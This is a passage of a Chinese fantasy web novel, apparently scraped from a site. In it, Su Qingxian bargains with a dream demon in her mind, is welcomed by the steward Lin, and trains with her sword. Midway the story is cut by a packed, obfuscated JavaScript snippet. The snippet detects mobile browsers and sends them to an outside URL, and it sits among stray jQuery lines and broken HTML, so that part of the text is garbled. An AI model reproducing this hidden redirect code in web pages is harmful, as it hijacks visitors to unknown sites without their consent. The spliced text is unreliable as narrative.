这些时日,脑海中的那道声音销声匿迹,苏清闲差点快要忘记了这一档子事儿。
本就是云里雾里接受了这一切,那梦妖一出口说话,苏清闲早知她能听见自己心中所想,于是在心中默念:“自从那日醒来你就不见了踪影,我还以为你去了什么其它的地方,你且说说看要如何帮我?”
女童音响起:“本梦妖虽然没有通天的本领,当然也不能平白无故给予你强大力量,可你忘了吗?梦妖一族本就掌的是人间的七情六欲,我虽不能让你一举复仇,但也能助你激发灵脉的最大潜能,强化你的情绪与欲望,难道这几日你没有发现自己同以前有什么不一样了吗?”
“那可要让你失望了,我与之前并无什么不同。”苏清闲对此嗤之以鼻并且不以为意。
“怎么可能!我早说过了,你骗不了我,不过我才不同你计较这些,你们人类嘛,最是喜欢口是心非,我将你的过往的记忆吸噬了个彻底,大致将你故事的来龙去脉弄清楚了,我在你的记忆中看到了一个人,我定是不会看错的,她一定接触过小梦,身上有他的气息,且更为浓厚,期间我耗费了大量的妖力,分出一缕灵识在北城搜寻小梦的小落,因此陷入了短暂的休眠,但我也确定了一件事情,我的身体一定在北城,他的本体也一定在此处。”
苏清闲知“她”所为谁,心道:“你说了这么多,还未告诉我你口中的小梦到底有何本事?如今我们是盟友,你亲口说的,我如今在你眼中已毫无秘密,还请你不要对我有所保留。”
梦妖:“唉,说了也无妨,小梦最喜闹,他能将一个人心中的贪恶妒恨无限放大,让人迷失一时丧失理智,恐你所遭受灭族之难,也与小梦拖不了干系,这一点是我的疏忽,让他跑出去了。”
“你的意思是我苏府劫难,皇叔之所以会如此,是你口中那恶妖一手造成的?”苏清闲此前还从未想过这一方面。
梦妖:“那可未必!虽然我承认这其中或许确有他的手笔,但无论好坏,情恨也不能无中生有,说到底还是你那皇叔本就有此意,才会让小梦钻了空子,如何又怪得了旁人?”
苏清闲:“你倒是护上了。”
梦妖高声一呵:“我这是实话实说!你岂会不清楚?”
她当然清楚,苏清闲无声捏紧了拳头,依稀能听见车夫驾马的声音,此刻马车正行走在景元城中大道上,街道两边是数不胜数的铺面与小吃杂玩摊,此起彼伏的吆喝声,人声喧沸,车水马龙。
苏清闲连着好几日都闭门不出,不曾久置闹市,此刻竟有些不太适应这种晴阳喧嚣。
清芽子在一旁老早注意到苏清闲一直盯着帷幔,不知怎了,面色有些不虞,好一会儿都不曾说话,也没察觉到她的目光,便出声询问:“姐姐?”
这一问将苏清闲拉回当下,攥住裙角的双手一松,扭头道:“怎么了?”
清芽子道:“阿姐面色看上去有些不太好,是又想起些什么了吗?”
不好将梦妖的事情抖露出来,苏清闲面色如常摇了摇头,“无事。”
清芽子不过及笄之年,尚有课业在身,刚下了马车便去了玄元宫,只留苏清闲一人在偌大的清府。
白府一样,毫无疑问,其门楣雍容气派,府邸占地近千亩,雕梁画栋,九折回廊,又不乏历经沧桑深重沉稳的古榭楼台,往来仆从成群,彰显着主人家的身份与地位。
原来母亲曾是在这样一个地方长大。
苏清闲忍不住在内心感慨,如此同时,那梦妖也在一旁有感而发:“不得不承认,你们确实有着不朽的本事,善利用这世间之物。”
苏清闲住的的园子,是母亲曾经的院子名唤流水阁,也称得上气派二字,却多了一股无拘之风,同她住在风云的园子有几分相似,住起来悠闲自得,园中有一方平坦空地,是苏清闲这几日晨起练剑的地方。
自她下马车后,身后跟着数十位步履规整的婢女,领头的一位流水阁的管事,在府中已有些年头,虽上了年纪,但也是个说话办事利索的人,流水阁多年曾住人,也不显得荒废,打理的井井有条。
苏清闲转身朝着那位面容憨态可掬慈眉善目的林管事递去了一个眼神,那位管事便将一众人遣散了去,随即俯身扣礼,道:“苏小姐同小殿下出门还要是带上几位懂修行的下人,免得出了意外,哪里都寻不到人,虽说如今世道太平,可每天也总有人离去,有些事情也是防不胜防的,你也不要嫌老婆子啰嗦。”
二人进了流水阁,苏清闲知林管事是担心自个儿,道:“我和清妹妹自有分寸的,只是去了个地方,也不好招人耳目,索性便没有带人,倒让林管事担心了。”
见到林管事时,苏清闲刚来到府上,住进了流水阁,认不得几个人,好在府里的人也并非多事之人,没有让她感到不自在,说到底也算她自己的家。
后来得知林管事终生都呆在清府管理流水阁,几十年如一日,并未外嫁生子,或许是这个缘由,林管事总是比起旁人对苏清闲多了分长辈的关爱。
苏清闲住进流水阁林管事是十分欣喜的,但这其中还有一个更为旁人不知的缘由,林管事看着眼前玉立的少女,终是开了口,:“苏小姐有所不知,这清府陪伴了我一生,二位小殿下也是我一手看着长大的,同样也包括小姐您的母亲,可我唯独没有见过你,前几日在水榭中和你一见,我便立马认出了你,小姐你啊和你母亲当真是一个模子刻出来的,骨子里都透着一股不肯服输的劲儿。”
苏清闲对此并不感到意外,一个在府中从事大半辈子,始终如一管理者流水阁的人,且在府邸中受到大家的敬重,这里又曾今是母亲居住过的地方,倒也不难猜出来其中的瓜丝。
但她却不认同最后的观点,遂道:“怎么会?我反到认为我和母亲是完全不同的,母亲修为了得,是个自在要强的性子,这天下貌似就没有她不知晓的事情,没去过的地方,无论在哪都是出彩的,而我却与之却全然不一样,我从来都不会勉强我自己,喜欢便是喜欢,讨厌便是讨厌,我自幼跟在母亲身边读书写字,就连我的剑术也是缠着母亲教我的,可到头来什么也未学得半分,什么也都未曾察觉,我站在金砖堆砌的高台之上,天真的以为这世间的一切都不过如此,难不倒我分毫。”
林老婆子是个有几分阅历的人,半花的发丝盘在头侧,对此也只是道:“老奴也不知如何去开解苏小姐心中的疑难,既来之则安之,眼下苏小姐还是更多的着眼于身前之事,想必若是你母亲在仍你身旁,也不会想看到一个愁眉苦脸的你。”
“不,我从不会拘泥于过去,我如何能让自己困在过去,林管事放心,你方才不也说了,我是个不服输的。”苏清闲抱之一笑。
“苏小姐,你看,我说了吧,你自然是像她的。”林管事扬起笑,抱着些许期待开口,“苏小姐,按道理来说,我曾也算得上你母亲的半个干娘,你若不嫌弃,往后的日子唤我一声阿婆吧,显得亲近些。”
闻言,苏清闲无比坦荡的往外蹦出了两个字:“阿婆!”,叫得林管事心中也是一乐。
告退之后,苏清闲方才回到自己屋中,之前她同林管事吩咐过,无事之时,不许其他人随意打扰。
早晨听闻清妹妹说今日舅舅会归家,不知西北出了什么事端,连带着除了清芽子之外的一众亲兵都去了西北,府里近日忙得不可开交,苏清闲对此倒也有些喜闻乐见。
苏清闲看了眼屋外的天色,距离计算舅舅回城还有一长段时间,眼下左右没有旁人叨扰,问:“喂,你还在吗?你一定在,想你修行了数百年,在功法造诣上有自己独特的见解,不如这段日子,你帮我提升功法,我变得强了,自然也能更好的帮你去寻你的同伴。”
不出须臾,那梦妖果然道:“景元城的玄元宫是这里人聚众修行修炼的地方,那里才是你求学问道的地方,你如今不是北城之主的外甥嘛,但道理来说,你的地位完全不必你在风云的差,去找一位道行高深的师父专程来教你,岂不是学得更快?先前在北云山的时候,你气噎喉堵,晕过去之时胸间捏着一口气,我不得不让你在无意识期间将那一口瘀血吐出来,期间帮你疏通了你全身的根脉,我已经仁至义尽了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012918|193765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
苏清闲这几日练剑运气,确实比之前更加游刃有余,更为通畅了些,但还是不死心问道:“难道你就没有些能让人修为突飞猛进的法子吗?话本子里那些身负大仇之人大难不死后,必有奇遇吗?‘遇’是有了,可‘奇’在何处?怎得你这般毫无是处。”
梦妖:“哼!我要是想,甚至可以现在立刻弄死你,你以为我们梦妖在人间安生立命的根本是是什么,靠的就是玩弄人情欲操控人心的本事,心智不坚定者,一旦让我们钻了空子,定能让其生不如死!”
“哦?原来你竟然还有如此大的能耐?”苏清闲从剑阁上取下那把通体黑色的无名剑,转身向院中走去,准备继续练剑。
虽说是练剑,倒不如说是宣泄,苏清闲并未学习新的剑招,她原本在风云所学的剑招也不算少,但很多都并不精通,她索性日复一日将以前所学的招式一遍遍狠狠地挥出来,一次比一次出招更狠,如此一来,她现在的剑书比之前有了明显的精进。
苏清闲轻吸了一口气,拔剑出鞘,亮出银光闪闪的剑身,足底轻点,腾空飞向练武台,稳稳地落在地面上,随即不给人反应的时间,眼睫轻颤,举起手中的剑在半空中挽起一道诡异的剑花,随即举剑过顶,弯腰纵剑划了一个大半的圆,刮起一阵气流风波。
整个舞剑的过程苏清闲眸光凌厉,身如飞燕,步伐多变灵活,时而如蜻蜓点水,时而如猛虎下山般势不可挡,每每挥剑,都带着铿锵决然之力,久而久之,汗水挥如雨下,她也浑然未觉,似是不知疲惫一般,忘乎所以,一剑比一剑挥得愈发有力量。
直到身心力竭,苏清闲方才收剑,止住尚有些虚浮的脚步,一直到其能够稳稳站立下来,她这才执剑重新回了屋内,拿起一方锦帕,擦去额间劲处的汗珠,她就像是要将先前偷的懒一并补回来。
梦妖早在一旁陪同看了许久,期间并未出言打扰,见人停了下来,方才有言:“你这般死命的作践自己的身体做什么,剑也不是这般练的,要懂张弛有度,而不是像你这样每日套用相同招式,毫无变通,一点实效也没有,用你们的话来讲,你现在莫过于‘愚夫’一个。”
“那我便当这个愚夫了,又有何妨!”此间并无他人,苏清闲将话说了出来,用不着他人来提醒自己。
“喂,你别生气啊!”梦妖见人有些烦躁,语气放缓了些,还有些谄媚,“你这不是剑术精进很多了嘛,说明还是很有用的,你有没有觉得近日你有些容易恼怒?年纪轻轻的小姑娘,还是和气些好、和气些好。”
“没生气。”苏清闲将剑重新入鞘,放回原本的位置。
挥了近两个时辰的剑,天边昏黄,略有些口渴,苏清闲从桌上拿起茶壶倒水,一连给自己灌了好几杯,流水阁有专人打扫管理,每天有人会按时置换旧物,添上新茶水。
苏清闲看着手中的杯盏,脑海中不禁想起先前在白府,于那人喋喋不休、侃侃而谈的场景,对方虽然不过只言片语,但每每也将她抛出去的问题,一一回应。
那时的她也被灌了半肚子的茶,快要喝吐了,此刻竟有些怀念那份独具一格的味道,若有机会,看能否向人讨要了制茶的方子。
那一日在白府,苏清闲毫不保留将自己的遭遇的讲给了一个她似未曾见过面的‘生人’,后来她都不知自己为何毫无防备,思来想去,得出了一个结论——他是自救命恩人,不能对恩人有所欺瞒。
渐渐地,苏清闲明白自己是莫名信任这个人的,情不自禁想与他倾诉心中事,可能也确切是因为人家长得过分好看了些,苏清闲拒绝不了那样一张毫无瑕疵的面容。
竟还意外得知她二人之间还有如此一段关系在里面,并且苏清闲并未觉得反感,先前在风云也有不少名门望族子弟明里暗地向自己求亲表明心意,可她完全对此提不起来兴致,苏将军和清剑师也从不会在这方面对她有所干涉。
一时有些心猿乱马,不知如何是好,片刻后,苏清闲内心做出决定,待日后寻个日子邀人说开了,顺便一道将玉佩拿回来,至于这玉佩的由来,她也隐隐有了些许猜测。